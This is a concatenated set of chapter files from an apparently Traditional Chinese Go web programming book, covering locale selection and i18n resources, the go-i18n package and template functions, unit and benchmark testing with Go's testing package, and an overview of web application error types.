i18n.SetLocale("zh-TW") 49 | } 50 | ``` 51 | 透過域名設定 Locale 有如上所示的優點,但是我們一般開發 Web 應用的時候不會採用這種方式,因為首先域名成本比較高,開發一個 Locale 就需要一個域名,而且往往統一名稱的域名不一定能申請的到,其次我們不願意為每個站點去本地化一個配置,而更多的是採用 url 後面帶參數的方式,請看下面的介紹。 52 | 53 | ### 從域名參數設定 Locale 54 | 55 | 目前最常用的設定 Locale 的方式是在 URL 裡面帶上參數,例如 www.asta.com/hello?locale=zh 或者 www.asta.com/zh/hello 。這樣我們就可以設定地區:`i18n.SetLocale(params["locale"])`。 56 | 57 | 這種設定方式幾乎擁有前面講的透過域名設定 Locale 的所有優點,它採用 RESTful 的方式,以使得我們不需要增加額外的方法來處理。但是這種方式需要在每一個的 link 裡面增加相應的參數 locale,這也許有點複雜而且有時候甚至相當的繁瑣。不過我們可以寫一個通用的函式 url,讓所有的 link 地址都透過這個函式來產生,然後在這個函式裡面增加`locale=params["locale"]`參數來緩解一下。 58 | 59 | 也許我們希望 URL 地址看上去更加的 RESTful 一點,例如:www.asta.com/en/books (英文站點)和 www.asta.com/zh/books (中文站點),這種方式的 URL 更加有利於 SEO,而且對於使用者也比較友好,能夠透過 URL 直觀的知道存取的站點。那麼這樣的 URL 地址可以透過 router 來取得 locale(參考 REST 小節裡面介紹的 router 外掛實現): 60 | 61 | ```Go 62 | 63 | mux.Get("/:locale/books", listbook) 64 | ``` 65 | ### 從客戶端設定地區 66 | 在一些特殊的情況下,我們需要根據客戶端的資訊而不是透過 URL 來設定 Locale,這些資訊可能來自於客戶端設定的喜好語言(瀏覽器中設定),使用者的 IP 地址,使用者在註冊的時候填寫的所在地資訊等。這種方式比較適合 Web 為基礎的應用。 67 | 68 | - Accept-Language 69 | 70 | 客戶端請求的時候在 HTTP 頭資訊裡面有`Accept-Language`,一般的客戶端都會設定該資訊,下面是 Go 語言實現的一個簡單的根據`Accept-Language`實現設定地區的程式碼: 71 | 72 | ```Go 73 | 74 | AL := r.Header.Get("Accept-Language") 75 | if AL == "en" { 76 | i18n.SetLocale("en") 77 | } else if AL == "zh-CN" { 78 | i18n.SetLocale("zh-CN") 79 | } else if AL == "zh-TW" { 80 | i18n.SetLocale("zh-TW") 81 | } 82 | ``` 83 | 當然在實際應用中,可能需要更加嚴格的判斷來進行設定地區 84 | - IP 地址 85 | 86 | 另一種根據客戶端來設定地區就是使用者存取的 IP,我們根據相應的 IP 函式庫,對應存取的 IP 到地區,目前全球比較常用的就是 GeoIP Lite Country 這個函式庫。這種設定地區的機制非常簡單,我們只需要根據 IP 資料庫查詢使用者的 IP 然後回傳國家地區,根據回傳的結果設定對應的地區。 87 | 88 | - 使用者 profile 89 | 90 | 91 | 當然你也可以讓使用者根據你提供的下拉選單或者別的什麼方式的設定相應的 locale,然後我們將使用者輸入的資訊,儲存到與它帳號相關的 profile 中,當用戶再次登陸的時候把這個設定複寫到 locale 設定中,這樣就可以保證該使用者每次存取都是基於自己先前設定的 locale 來獲得頁面。 92 | 93 | ## 總結 94 | 透過上面的介紹可知,設定 Locale 可以有很多種方式,我們應該根據需求的不同來選擇不同的設定 Locale 的方法,以讓使用者能以它最熟悉的方式,獲得我們提供的服務,提高應用的使用者友好性。 95 | 96 | ## links 97 | * [目錄](preface.md) 98 | * 上一節: [國際化和本地化](10.0.md) 99 | * 下一節: [本地化資源](10.2.md) 100 | -------------------------------------------------------------------------------- /10.2.md: -------------------------------------------------------------------------------- 1 | 2 | # 10.2 本地化資源 3 | 前面小節我們介紹了如何設定 Locale,設定好 Locale 之後我們需要解決的問題就是如何儲存相應的 Locale 對應的資訊呢?這裡面的資訊包括:文字資訊、時間和日期、貨幣值、圖片、包含檔案以及檢視等資源。那麼接下來我們將對這些資訊一一進行介紹,Go 語言中我們把這些格式資訊儲存在 JSON 中,然後透過合適的方式展現出來。(接下來以中文和英文兩種語言對比舉例,儲存格式檔案 en.json 和 zh-CN.json) 4 | ## 本地化文字訊息 5 | 文字資訊是編寫 Web 應用中最常用到的,也是本地化資源中最多的資訊,想要以適合本地語言的方式來顯示文字資訊,可行的一種方案是 : 建立需要的語言相應的 map 來維護一個 key-value 的關係,在輸出之前按需從適合的 map 中去取得相應的文字,如下是一個簡單的範例: 6 | 7 | ```Go 8 | 9 | package main 10 | 11 | import "fmt" 12 | 13 | var locales map[string]map[string]string 14 | 15 | func main() { 16 | locales = make(map[string]map[string]string, 2) 17 | en := make(map[string]string, 10) 18 | en["pea"] = "pea" 19 | en["bean"] = "bean" 20 | locales["en"] = en 21 | cn := make(map[string]string, 10) 22 | cn["pea"] = "豌豆" 23 | cn["bean"] = "毛豆" 24 | locales["zh-CN"] = cn 25 | lang := "zh-CN" 26 | fmt.Println(msg(lang, "pea")) 27 | fmt.Println(msg(lang, "bean")) 28 | } 29 | 30 | func msg(locale, key string) string { 31 | if v, ok := locales[locale]; ok { 32 | if v2, ok := v[key]; ok { 33 | return v2 34 | } 35 | } 36 | return "" 37 | } 38 | ``` 39 | 40 | 上面範例示範了不同 locale 的文字翻譯,實現了中文和英文對於同一個 key 顯示不同語言的實現,上面實現了中文的文字訊息,如果想切換到英文版本,只需要把 lang 設定為 en 即可。 41 | 42 | 有些時候僅是 key-value 替換是不能滿足需要的,例如"I am 30 years old",中文表達是"我今年 30 歲了",而此處的 30 是一個變數,該怎麼辦呢?這個時候,我們可以結合`fmt.Printf`函式來實現,請看下面的程式碼: 43 | 44 | ```Go 45 | 46 | en["how old"] ="I am %d years old" 47 | cn["how old"] ="我今年%d 歲了" 48 | 49 | fmt.Printf(msg(lang, "how old"), 30) 50 | ``` 51 | 上面的範例程式碼僅用以示範內部的實現方案,而實際資料是儲存在 JSON 裡面的,所以我們可以透過`json.Unmarshal`來為相應的 map 填充資料。 52 | 53 | ## 本地化日期和時間 54 | 因為時區的關係,同一時刻,在不同的地區,表示是不一樣的,而且因為 Locale 的關係,時間格式也不盡相同,例如中文環境下可能顯示:`2012 年 10 月 24 日 星期三 23 時 11 分 13 秒 CST`,而在英文環境下可能顯示:`Wed Oct 24 23:11:13 CST 2012`。這裡面我們需要解決兩點: 55 | 56 | 1. 時區問題 57 | 2. 格式問題 58 | 59 | $GOROOT/lib/time 套件中的 timeinfo.zip 含有 locale 對應的時區的定義,為了獲得對應於當前 locale 的時間,我們應首先使用`time.LoadLocation(name string)`取得相應於地區的 locale,比如`Asia/Shanghai`或`America/Chicago`對應的時區資訊,然後再利用此資訊與呼叫`time.Now`獲得的 Time 物件協作來獲得最終的時間。詳細的請看下面的例子(該例子採用上面例子的一些變數): 60 | 61 | ```Go 62 | 63 | en["time_zone"]="America/Chicago" 64 | cn["time_zone"]="Asia/Shanghai" 65 | 66 | loc,_:=time.LoadLocation(msg(lang,"time_zone")) 67 | t:=time.Now() 68 | t = t.In(loc) 69 | fmt.Println(t.Format(time.RFC3339)) 70 | ``` 71 | 72 | 我們可以透過類似處理文字格式的方式來解決時間格式的問題,舉例如下: 73 | 74 | ```Go 75 | 76 | en["date_format"]="%Y-%m-%d %H:%M:%S" 77 | cn["date_format"]="%Y 年%m 月%d 日 %H 時%M 分%S 秒" 78 | 79 | fmt.Println(date(msg(lang,"date_format"),t)) 80 | 81 | func date(fomate string,t time.Time) string{ 82 | year, month, day = t.Date() 83 | hour, min, sec = t.Clock() 84 | //解析相應的%Y %m %d %H %M %S 然後回傳資訊 85 | //%Y 替換成 2012 86 | 87 | //%m 替換成 10 88 | 89 | //%d 替換成 24 90 | 91 | } 92 | ``` 93 | 94 | ## 本地化貨幣值 95 | 各個地區的貨幣表示也不一樣,處理方式也與日期差不多,細節請看下面程式碼: 96 | 97 | ```Go 98 | 99 | en["money"] ="USD %d" 100 | cn["money"] ="¥%d 元" 101 | 102 | fmt.Println(money_format(msg(lang,"date_format"),100)) 103 | 104 | func money_format(fomate string,money int64) string{ 105 | return fmt.Sprintf(fomate,money) 106 | } 107 | ``` 108 | 109 | ## 本地化檢視和資源 110 | 我們可能會根據 Locale 的不同來展示檢視,這些檢視包含不同的圖片、css、js 等各種靜態資源。那麼應如何來處理這些資訊呢?首先我們應按 locale 來組織檔案資訊,請看下面的檔案目錄安排: 111 | ```html 112 | 113 | views 114 | |--en //英文範本 115 | |--images //儲存圖片資訊 116 | |--js //儲存 JS 檔案 117 | |--css //儲存 css 檔案 118 | index.tpl //使用者首頁 119 | login.tpl //登陸首頁 120 | |--zh-CN //中文範本 121 | |--images 122 | |--js 123 | |--css 124 | index.tpl 125 | login.tpl 126 | ``` 127 | 128 | 有了這個目錄結構後我們就可以在渲染的地方這樣來實現程式碼: 129 | 130 | ```Go 131 | 132 | s1, _ := template.ParseFiles("views/"+lang+"/index.tpl") 133 | VV.Lang=lang 134 | s1.Execute(os.Stdout, VV) 135 | ``` 136 | 而對於裡面的 index.tpl 裡面的資源設定如下: 137 | ```html 138 | 139 | // js 檔案 140 | 141 | // css 檔案 142 | 143 | // 圖片檔案 144 | 145 | ``` 146 | 採用這種方式來本地化檢視以及資源時,我們就可以很容易的進行擴充套件了。 147 | 148 | ## 總結 149 | 本小節介紹了如何使用及儲存本地資源,有時需要透過轉換函式來實現,有時透過 lang 來設定,但是最終都是透過 key-value 的方式來儲存 Locale 對應的資料,在需要時取出相應於 Locale 的資訊後,如果是文字資訊就直接輸出,如果是時間日期或者貨幣,則需要先透過`fmt.Printf`或其他格式化函式來處理,而對於不同 Locale 的檢視和資源則是最簡單的,只要在路徑裡面增加 lang 就可以實現了。 150 | 151 | ## links 152 | * [目錄](preface.md) 153 | * 上一節: [設定預設地區](10.1.md) 154 | * 下一節: [國際化站點](10.3.md) 155 | 156 | -------------------------------------------------------------------------------- /10.3.md: -------------------------------------------------------------------------------- 1 | 2 | # 10.3 國際化站點 3 | 前面小節介紹了如何處理本地化資源,即 Locale 一個相應的配置檔案,那麼如果處理多個的本地化資源呢?而對於一些我們經常用到的例如:簡單的文字翻譯、時間日期、數字等如果處理呢?本小節將一一解決這些問題。 4 | ## 管理多個本地包 5 | 在開發一個應用的時候,首先我們要決定是隻支援一種語言,還是多種語言,如果要支援多種語言,我們則需要制定一個組織結構,以方便將來更多語言的新增。在此我們設計如下:Locale 有關的檔案放置在 config/locales 下,假設你要支援中文和英文,那麼你需要在這個資料夾下放置 en.json 和 zh.json。大概的內容如下所示: 6 | ```json 7 | 8 | # zh.json 9 | 10 | { 11 | "zh": { 12 | "submit": "提交", 13 | "create": "建立" 14 | } 15 | } 16 | 17 | # en.json 18 | 19 | { 20 | "en": { 21 | "submit": "Submit", 22 | "create": "Create" 23 | } 24 | } 25 | ``` 26 | 27 | 為了支援國際化,在此我們使用了一個國際化相關的套件——[go-i18n](https://github.com/astaxie/go-i18n),首先我們向 go-i18n 套件註冊 config/locales 這個目錄,以載入所有的 locale 檔案 28 | 29 | ```Go 30 | 31 | Tr:=i18n.NewLocale() 32 | Tr.LoadPath("config/locales") 33 | ``` 34 | 35 | 這個套件使用起來很簡單,你可以透過下面的方式進行測試: 36 | 37 | ```Go 38 | 39 | fmt.Println(Tr.Translate("submit")) 40 | //輸出 Submit 41 | 42 | Tr.SetLocale("zh") 43 | fmt.Println(Tr.Translate("submit")) 44 | //輸出“提交” 45 | ``` 46 | ## 自動載入本地套件 47 | 48 | 上面我們介紹了如何自動載入自訂語言套件,其實 go-i18n 函式庫已經預載入了很多預設的格式資訊,例如時間格式、貨幣格式,使用者可以在自訂配置時改寫這些預設配置,請看下面的處理過程: 49 | 50 | ```Go 51 | 52 | //載入預設配置檔案,這些檔案都放在 go-i18n/locales 下面 53 | 54 | //檔案命名 zh.json、en.json、en-US.json 等,可以不斷的擴充套件支援更多的語言 55 | 56 | func (il *IL) loadDefaultTranslations(dirPath string) error { 57 | dir, err := os.Open(dirPath) 58 | if err != nil { 59 | return err 60 | } 61 | defer dir.Close() 62 | 63 | names, err := dir.Readdirnames(-1) 64 | if err != nil { 65 | return err 66 | } 67 | 68 | for _, name := range names { 69 | fullPath := path.Join(dirPath, name) 70 | 71 | fi, err := os.Stat(fullPath) 72 | if err != nil { 73 | return err 74 | } 75 | 76 | if fi.IsDir() { 77 | if err := il.loadTranslations(fullPath); err != nil { 78 | return err 79 | } 80 | } else if locale := il.matchingLocaleFromFileName(name); locale != "" { 81 | file, err := os.Open(fullPath) 82 | if err != nil { 83 | return err 84 | } 85 | defer file.Close() 86 | 87 | if err := il.loadTranslation(file, locale); err != nil { 88 | return err 89 | } 90 | } 91 | } 92 | 93 | return nil 94 | } 95 | ``` 96 | 97 | 透過上面的方法載入配置資訊到預設的檔案,這樣我們就可以在我們沒有自訂時間資訊的時候執行如下的程式碼取得對應的資訊: 98 | 99 | ```Go 100 | 101 | //locale=zh 的情況下,執行如下程式碼: 102 | 103 | fmt.Println(Tr.Time(time.Now())) 104 | //輸出:2009 年 1 月 08 日 星期四 20:37:58 CST 105 | 106 | fmt.Println(Tr.Time(time.Now(),"long")) 107 | //輸出:2009 年 1 月 08 日 108 | 109 | fmt.Println(Tr.Money(11.11)) 110 | //輸出:¥11.11 111 | ``` 112 | ## template mapfunc 113 | 上面我們實現了多個語言套件的管理和載入,而一些函式的實現是基於邏輯層的,例如:"Tr.Translate"、"Tr.Time"、"Tr.Money"等,雖然我們在邏輯層可以利用這些函式把需要的參數進行轉換後在範本層渲染的時候直接輸出,但是如果我們想在模版層直接使用這些函式該怎麼實現呢?不知你是否還記得,在前面介紹範本的時候說過:Go 語言的範本支援自訂範本函式,下面是我們實現的方便操作的 mapfunc: 114 | 115 | 1. 文字資訊 116 | 117 | 文字資訊呼叫`Tr.Translate`來實現相應的資訊轉換,mapFunc 的實現如下: 118 | 119 | ```Go 120 | 121 | func I18nT(args ...interface{}) string { 122 | ok := false 123 | var s string 124 | if len(args) == 1 { 125 | s, ok = args[0].(string) 126 | } 127 | if !ok { 128 | s = fmt.Sprint(args...) 129 | } 130 | return Tr.Translate(s) 131 | } 132 | ``` 133 | 134 | 註冊函式如下: 135 | 136 | ```Go 137 | 138 | t.Funcs(template.FuncMap{"T": I18nT}) 139 | ``` 140 | 範本中使用如下: 141 | 142 | ```Go 143 | 144 | {{.V.Submit | T}} 145 | ``` 146 | 147 | 2. 時間日期 148 | 149 | 時間日期呼叫`Tr.Time`函式來實現相應的時間轉換,mapFunc 的實現如下: 150 | 151 | ```Go 152 | 153 | func I18nTimeDate(args ...interface{}) string { 154 | ok := false 155 | var s string 156 | if len(args) == 1 { 157 | s, ok = args[0].(string) 158 | } 159 | if !ok { 160 | s = fmt.Sprint(args...) 161 | } 162 | return Tr.Time(s) 163 | } 164 | ``` 165 | 註冊函式如下: 166 | 167 | ```Go 168 | 169 | t.Funcs(template.FuncMap{"TD": I18nTimeDate}) 170 | ``` 171 | 範本中使用如下: 172 | 173 | ```Go 174 | 175 | {{.V.Now | TD}} 176 | ``` 177 | 3. 貨幣資訊 178 | 179 | 貨幣呼叫`Tr.Money`函式來實現相應的時間轉換,mapFunc 的實現如下: 180 | 181 | ```Go 182 | 183 | func I18nMoney(args ...interface{}) string { 184 | ok := false 185 | var s string 186 | if len(args) == 1 { 187 | s, ok = args[0].(string) 188 | } 189 | if !ok { 190 | s = fmt.Sprint(args...) 191 | } 192 | return Tr.Money(s) 193 | } 194 | ``` 195 | 註冊函式如下: 196 | 197 | ```Go 198 | 199 | t.Funcs(template.FuncMap{"M": I18nMoney}) 200 | ``` 201 | 範本中使用如下: 202 | 203 | ```Go 204 | 205 | {{.V.Money | M}} 206 | ``` 207 | ## 總結 208 | 透過這小節我們知道了如何實現一個多語言套件的 Web 應用,透過自訂語言套件我們可以方便的實現多語言,而且透過配置檔案能夠非常方便的擴充多語言,預設情況下,go-i18n 會自定載入一些公共的配置資訊,例如時間、貨幣等,我們就可以非常方便的使用,同時為了支援在範本中使用這些函式,也實現了相應的範本函式,這樣就允許我們在開發 Web 應用的時候直接在範本中透過 pipeline 的方式來操作多語言套件。 209 | 210 | ## links 211 | * [目錄](preface.md) 212 | * 上一節: [本地化資源](10.2.md) 213 | * 下一節: [小結](10.4.md) 214 | 215 | -------------------------------------------------------------------------------- /10.4.md: -------------------------------------------------------------------------------- 1 | # 10.4 小結 2 | 透過這一章的介紹,讀者應該對如何操作 i18n 有了深入的了解,我也根據這一章介紹的內容實現了一個開源的解決方案 go-i18n:https://github.com/astaxie/go-i18n 透過這個開源函式庫我們可以很方便的實現多語言版本的 Web 應用,使得我們的應用能夠輕鬆的實現國際化。如果你發現這個開源函式庫中的錯誤或者那些缺失的地方,請一起參與到這個開源專案中來,讓我們的這個函式庫爭取成為 Go 的標準函式庫。 3 | ## links 4 | * [目錄](preface.md) 5 | * 上一節: [國際化站點](10.3.md) 6 | * 下一節: [錯誤處理,故障排除和測試](11.0.md) 7 | -------------------------------------------------------------------------------- /11.0.md: -------------------------------------------------------------------------------- 1 | # 11 錯誤處理,除錯和測試 2 | 我們經常會看到很多程式設計師大部分的"程式設計"時間都花費在檢查 bug 和修復 bug 上。無論你是在編寫修改程式碼還是重構系統,幾乎都是花費大量的時間在進行故障排除和測試,外界都覺得我們程式設計師是設計師,能夠把一個系統從無做到有,是一項很偉大的工作,而且是相當有趣的工作,但事實上我們每天都是徘徊在排錯、除錯、測試之間。當然如果你有良好的習慣和技術方案來直面這些問題,那麼你就有可能將排錯時間減到最少,而儘可能的將時間花費在更有價值的事情上。 3 | 4 | 但是遺憾的是很多程式設計師不願意在錯誤處理、除錯和測試能力上下工夫,導致後面應用上線之後查詢錯誤、定位問題花費更多的時間。所以我們在設計應用之前就做好錯誤處理規劃、測試案例等,那麼將來修改程式碼、升級系統都將變得簡單。 5 | 6 | 開發 Web 應用過程中,錯誤自然難免,那麼如何更好的找到錯誤原因,解決問題呢?11.1 小節將介紹 Go 語言中如何處理錯誤,如何設計自己的套件、函式的錯誤處理,11.2 小節將介紹如何使用 GDB 來除錯我們的程式,動態執行情況下各種變數資訊,執行情況的監聽和除錯。 7 | 8 | 11.3 小節將對 Go 語言中的單元測試進行深入的探討,並範例如何來編寫單元測試,Go 的單元測試規則規範如何定義,以保證以後升級修改執行相應的測試程式碼就可以進行最小化的測試。 9 | 10 | 長期以來,培養良好的除錯、測試習慣一直是很多程式設計師逃避的事情,所以現在你不要再逃避了,就從你現在的專案開發,從學習 Go Web 開發開始養成良好的習慣。 11 | 12 | ## 目錄 13 | 14 | ![](images/navi11.png) 15 | 16 | ## links 17 | * [目錄](preface.md) 18 | * 上一章: [第十章總結](10.4.md) 19 | * 下一節: [錯誤處理](11.1.md) -------------------------------------------------------------------------------- /11.3.md: -------------------------------------------------------------------------------- 1 | # 11.3 Go 怎麼寫測試案例 2 | 開發程式其中很重要的一點是測試,我們如何保證程式碼的品質,如何保證每個函式是可執行,執行結果是正確的,又如何保證寫出來的程式碼效能是好的,我們知道單元測試的重點在於發現程式設計或實現的邏輯錯誤,使問題及早暴露,便於問題的定位解決,而效能測試的重點在於發現程式設計上的一些問題,讓線上的程式能夠在高併發的情況下還能保持穩定。本小節將帶著這一連串的問題來講解 Go 語言中如何來實現單元測試和效能測試。 3 | 4 | Go 語言中自帶有一個輕量級的測試框架 `testing` 和自帶的`go test`命令來實現單元測試和效能測試,`testing`框架和其他語言中的測試框架類似,你可以基於這個框架寫針對相應函式的測試案例,也可以基於該框架寫相應的壓力測試案例,那麼接下來讓我們一一來看一下怎麼寫。 5 | 6 | 另外建議安裝[gotests](https://github.com/cweill/gotests)外掛自動產生測試程式碼: 7 | 8 | ```Go 9 | go get -u -v github.com/cweill/gotests/... 10 | 11 | ``` 12 | 13 | ## 如何編寫測試案例 14 | 由於`go test`命令只能在一個相應的目錄下執行所有檔案,所以我們接下來建立一個專案目錄`gotest`,這樣我們所有的程式碼和測試程式碼都在這個目錄下。 15 | 16 | 接下來我們在該目錄下面建立兩個檔案:gotest.go 和 gotest_test.go 17 | 18 | 1. gotest.go:這個檔案裡面我們是建立了一個套件,裡面有一個函式實現了除法運算: 19 | 20 | ```Go 21 | 22 | package gotest 23 | 24 | import ( 25 | "errors" 26 | ) 27 | 28 | func Division(a, b float64) (float64, error) { 29 | if b == 0 { 30 | return 0, errors.New("除數不能為 0") 31 | } 32 | 33 | return a / b, nil 34 | } 35 | 36 | ``` 37 | 38 | 2. gotest_test.go:這是我們的單元測試檔案,但是記住下面的這些原則: 39 | 40 | - 檔名必須是`_test.go`結尾的,這樣在執行`go test`的時候才會執行到相應的程式碼 41 | - 你必須 import `testing`這個包 42 | - 所有的測試案例函式必須是 `Test` 開頭 43 | - 測試案例會按照原始碼中寫的順序依次執行 44 | - 測試函式`TestXxx()`的參數是`testing.T`,我們可以使用該型別來記錄錯誤或者是測試狀態 45 | - 測試格式:`func TestXxx (t *testing.T)`,`Xxx`部分可以為任意的字母數字的組合,但是首字母不能是小寫字母[a-z],例如 `Testintdiv` 是錯誤的函式名。 46 | - 函式中透過呼叫`testing.T`的`Error`, `Errorf`, `FailNow`, `Fatal`, `FatalIf`方法,說明測試不透過,呼叫 `Log` 方法用來記錄測試的資訊。 47 | 48 | 下面是我們的測試案例的程式碼: 49 | 50 | ```Go 51 | 52 | package gotest 53 | 54 | import ( 55 | "testing" 56 | ) 57 | 58 | func Test_Division_1(t *testing.T) { 59 | if i, e := Division(6, 2); i != 3 || e != nil { //try a unit test on function 60 | t.Error("除法函式測試沒透過") // 如果不是如預期的那麼就報錯 61 | } else { 62 | t.Log("第一個測試通過了") //記錄一些你期望記錄的資訊 63 | } 64 | } 65 | 66 | func Test_Division_2(t *testing.T) { 67 | t.Error("就是不透過") 68 | } 69 | 70 | ``` 71 | 72 | 我們在專案目錄下面執行`go test`,就會顯示如下資訊: 73 | 74 | --- FAIL: Test_Division_2 (0.00 seconds) 75 | gotest_test.go:16: 就是不透過 76 | FAIL 77 | exit status 1 78 | FAIL gotest 0.013s 79 | 從這個結果顯示測試沒有透過,因為在第二個測試函式中我們寫死了測試不透過的程式碼`t.Error`,那麼我們的第一個函式執行的情況怎麼樣呢?預設情況下執行`go test`是不會顯示測試透過的資訊的,我們需要帶上參數`go test -v`,這樣就會顯示如下資訊: 80 | 81 | === RUN Test_Division_1 82 | --- PASS: Test_Division_1 (0.00 seconds) 83 | gotest_test.go:11: 第一個測試通過了 84 | === RUN Test_Division_2 85 | --- FAIL: Test_Division_2 (0.00 seconds) 86 | gotest_test.go:16: 就是不透過 87 | FAIL 88 | exit status 1 89 | FAIL gotest 0.012s 90 | 上面的輸出詳細的展示了這個測試的過程,我們看到測試函式 1`Test_Division_1` 測試透過,而測試函式 2`Test_Division_2` 測試失敗了,最後得出結論測試不透過。接下來我們把測試函式 2 修改成如下程式碼: 91 | 92 | ```Go 93 | 94 | func Test_Division_2(t *testing.T) { 95 | if _, e := Division(6, 0); e == nil { //try a unit test on function 96 | t.Error("Division did not work as expected.") // 如果不是如預期的那麼就報錯 97 | } else { 98 | t.Log("one test passed.", e) //記錄一些你期望記錄的資訊 99 | } 100 | } 101 | ``` 102 | 然後我們執行`go test -v`,就顯示如下資訊,測試通過了: 103 | 104 | === RUN Test_Division_1 105 | --- PASS: Test_Division_1 (0.00 seconds) 106 | gotest_test.go:11: 第一個測試通過了 107 | === RUN Test_Division_2 108 | --- PASS: Test_Division_2 (0.00 seconds) 109 | gotest_test.go:20: one test passed. 除數不能為 0 110 | 111 | PASS 112 | ok gotest 0.013s 113 | 114 | ## 如何編寫壓力測試 115 | 壓力測試用來檢測函式(方法)的效能,和編寫單元功能測試的方法類似,此處不再贅述,但需要注意以下幾點: 116 | 117 | - 壓力測試案例必須遵循如下格式,其中 XXX 可以是任意字母數字的組合,但是首字母不能是小寫字母 118 | 119 | ```Go 120 | func BenchmarkXXX(b *testing.B) { ... } 121 | ``` 122 | 123 | - `go test`不會預設執行壓力測試的函式,如果要執行壓力測試需要帶上參數`-test.bench`,語法:`-test.bench="test_name_regex"`,例如`go test -test.bench=".*"`表示測試全部的壓力測試函式 124 | - 在壓力測試案例中,請記得在迴圈體內使用`testing.B.N`,以使測試可以正常的執行 125 | - 檔名也必須以`_test.go`結尾 126 | 127 | 下面我們建立一個壓力測試檔案 webbench_test.go,程式碼如下所示: 128 | 129 | ```Go 130 | 131 | package gotest 132 | 133 | import ( 134 | "testing" 135 | ) 136 | 137 | func Benchmark_Division(b *testing.B) { 138 | for i := 0; i < b.N; i++ { //use b.N for looping 139 | Division(4, 5) 140 | } 141 | } 142 | 143 | func Benchmark_TimeConsumingFunction(b *testing.B) { 144 | b.StopTimer() //呼叫該函式停止壓力測試的時間計數 145 | 146 | //做一些初始化的工作,例如讀取檔案資料,資料庫連線之類別的, 147 | //這樣這些時間不影響我們測試函式本身的效能 148 | 149 | b.StartTimer() //重新開始時間 150 | for i := 0; i < b.N; i++ { 151 | Division(4, 5) 152 | } 153 | } 154 | 155 | ``` 156 | 157 | 我們執行命令`go test webbench_test.go -test.bench=".*"`,可以看到如下結果: 158 | ``` 159 | Benchmark_Division-4 500000000 7.76 ns/op 456 B/op 14 allocs/op 160 | Benchmark_TimeConsumingFunction-4 500000000 7.80 ns/op 224 B/op 4 allocs/op 161 | PASS 162 | ok gotest 9.364s 163 | ``` 164 | 165 | 上面的結果顯示我們沒有執行任何 `TestXXX` 的單元測試函式,顯示的結果只執行了壓力測試函式,第一條顯示了 `Benchmark_Division` 執行了 500000000 次,每次的執行平均時間是 7.76 納秒,第二條顯示了 `Benchmark_TimeConsumingFunction` 執行了 500000000,每次的平均執行時間是 7.80 納秒。最後一條顯示總共的執行時間。 166 | 167 | ## 小結 168 | 透過上面對單元測試和壓力測試的學習,我們可以看到 `testing` 套件很輕量,編寫單元測試和壓力測試案例非常簡單,配合內建的`go test`命令就可以非常方便的進行測試,這樣在我們每次修改完程式碼,執行一下 go test 就可以簡單的完成迴歸測試了。 169 | 170 | 171 | ## links 172 | * [目錄](preface.md) 173 | * 上一節: [使用 GDB 除錯](11.2.md) 174 | * 下一節: [小結](11.4.md) 175 | -------------------------------------------------------------------------------- /11.4.md: -------------------------------------------------------------------------------- 1 | # 11.4 小結 2 | 本章我們透過三個小節分別介紹了 Go 語言中如何處理錯誤,如何設計錯誤處理,然後第二小節介紹了如何透過 GDB 來除錯程式,透過 GDB 我們可以單步除錯、可以檢視變數、修改變數、列印執行過程等,最後我們介紹了如何利用 Go 語言自帶的輕量級框架 `testing` 來編寫單元測試和壓力測試,使用`go test`就可以方便的執行這些測試,使得我們將來程式碼升級修改之後很方便的進行迴歸測試。這一章也許對於你編寫程式邏輯沒有任何幫助,但是對於你編寫出來的程式程式碼保持高品質是至關重要的,因為一個好的 Web 應用必定有良好的錯誤處理機制(錯誤提示的友好、可擴充套件性)、有好的單元測試和壓力測試以保證上線之後程式碼能夠保持良好的效能和按預期的執行。 3 | 4 | ## links 5 | * [目錄](preface.md) 6 | * 上一節: [Go 怎麼寫測試案例](11.3.md) 7 | * 下一節: [部署與維護](12.0.md) -------------------------------------------------------------------------------- /12.0.md: -------------------------------------------------------------------------------- 1 | # 12 部署與維護 2 | 到目前為止,我們前面已經介紹了如何開發程式、除錯程式以及測試程式,正如人們常說的:開發最後的 10%需要花費 90%的時間,所以這一章我們將強調這最後的 10%部分,要真正成為讓人信任並使用的優秀應用,需要考慮到一些細節,以上所說的 10%就是指這些小細節。 3 | 4 | 本章我們將透過四個小節來介紹這些小細節的處理,第一小節介紹如何在生產服務上記錄程式產生的日誌,如何記錄日誌,第二小節介紹發生錯誤時我們的程式如何處理,如何保證儘量少的影響到使用者的存取,第三小節介紹如何來部署 Go 的獨立程式,由於目前 Go 程式還無法像 C 那樣寫成 daemon,那麼我們如何管理這樣的程序程式後臺執行呢?第四小節將介紹應用資料的備份和還原,儘量保證應用在崩潰的情況能夠保持資料的完整性。 5 | ## 目錄 6 | ![](images/navi12.png) 7 | 8 | ## links 9 | * [目錄](preface.md) 10 | * 上一章: [第十一章總結](11.4.md) 11 | * 下一節: [應用日誌](12.1.md) -------------------------------------------------------------------------------- /12.2.md: -------------------------------------------------------------------------------- 1 | 2 | # 12.2 網站錯誤處理 3 | 我們的 Web 應用一旦上線之後,那麼各種錯誤出現的概率都有,Web 應用日常執行中可能出現多種錯誤,具體如下所示: 4 | 5 | - 資料庫錯誤:指與存取資料庫伺服器或資料相關的錯誤。例如,以下可能出現的一些資料庫錯誤。 6 | 7 | - 連線錯誤:這一類別錯誤可能是資料庫伺服器網路斷開、使用者名稱密碼不正確、或者資料庫不存在。 8 | - 查詢錯誤:使用的 SQL 非法導致錯誤,這樣子 SQL 錯誤如果程式經過嚴格的測試應該可以避免。 9 | - 資料錯誤:資料庫中的約束衝突,例如一個唯一欄位中插入一條重複主鍵的值就會報錯,但是如果你的應用程式在上線之前經過了嚴格的測試也是可以避免這類別問題。 10 | - 應用執行時錯誤:這類別錯誤範圍很廣,涵蓋了程式碼中出現的幾乎所有錯誤。可能的應用錯誤的情況如下: 11 | 12 | - 檔案系統和許可權:應用讀取不存在的檔案,或者讀取沒有許可權的檔案、或者寫入一個不允許寫入的檔案,這些都會導致一個錯誤。應用讀取的檔案如果格式不正確也會報錯,例如配置檔案應該是 ini 的配置格式,而設定成了 json 格式就會報錯。 13 | - 第三方應用:如果我們的應用程式耦合了其他第三方介面程式,例如應用程式發表文章之後自動呼叫接發微博的介面,所以這個介面必須正常執行才能完成我們發表一篇文章的功能。 14 | 15 | - HTTP 錯誤:這些錯誤是根據使用者的請求出現的錯誤,最常見的就是 404 錯誤。雖然可能會出現很多不同的錯誤,但其中比較常見的錯誤還有 401 未授權錯誤(需要認證才能存取的資源)、403 禁止錯誤(不允許使用者存取的資源)和 503 錯誤(程式內部出錯)。 16 | - 